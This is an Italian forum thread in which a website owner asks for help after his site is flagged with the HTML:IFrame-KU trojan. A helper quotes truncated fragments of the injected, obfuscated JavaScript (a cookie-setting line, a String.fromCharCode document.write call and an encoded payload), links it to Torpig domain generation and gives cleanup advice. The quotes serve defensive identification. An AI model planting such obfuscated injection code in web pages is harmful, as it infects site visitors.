trojan HTML:IFrame-KU

[sigerico]

Ciao a tutti,

mi è stato detto da acluni utenti che il mio sito iltau.it è stato infettao dal virus nel titolo, cosa faccio?

[Chill-Out]

Ciao e benvenuto, dal momento che il sito risulta infetto è bene non postare link cliccabili, onde evitare che qualche utente si possa inavvertitamente infettare.

Per bonificarlo provvedi a rimuovere questi Script:

var lhdatw=new Date( ); lhdatw.setTime(lhdatw.getTime( )+12*60*60*1000); document.cookie="n\x5fsess...

document.write(String.fromCharCode(59+1,100,105,118,32,115,116,121,108,101,61,39,100,105,115,112,10...

</html><script language="javascript">$a="Z6fpZ3dZ22Z2524Z2561Z253dZ2522dw(dcZ2573(cuZ252c14)Z2529;Z2522;Z22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z2

genera tramite Twitter il dominio Torpig, stesso problema che ha colpito Aruba, ma stavolta l'Hoster è Welcome Italia

[sigerico]

Ciao Chill-out e grazie dell'aiuto,

dove devo andare a rimuovere questi script? Qual'è la procedura?

Inoltre, devo avvertire Welcome Italia?

[sigerico]

Ciao Chill-Out, non ci capisco più un tubo, se visito il mio sito usando Mozilla, no problem. Se lo visito passando per IE il mio AV (NOD32) mi rileva questo virus: JS/exploit.Agent.NBA trojan

[Chill-Out]

Essendo proprietario del sito, immagino tu abbia le credenziali per accedervi tramite ftp o cms ed eliminare quanto sopra, suggerisco inoltre di cambiare la password e ed informare l'hoster dell'accaduto.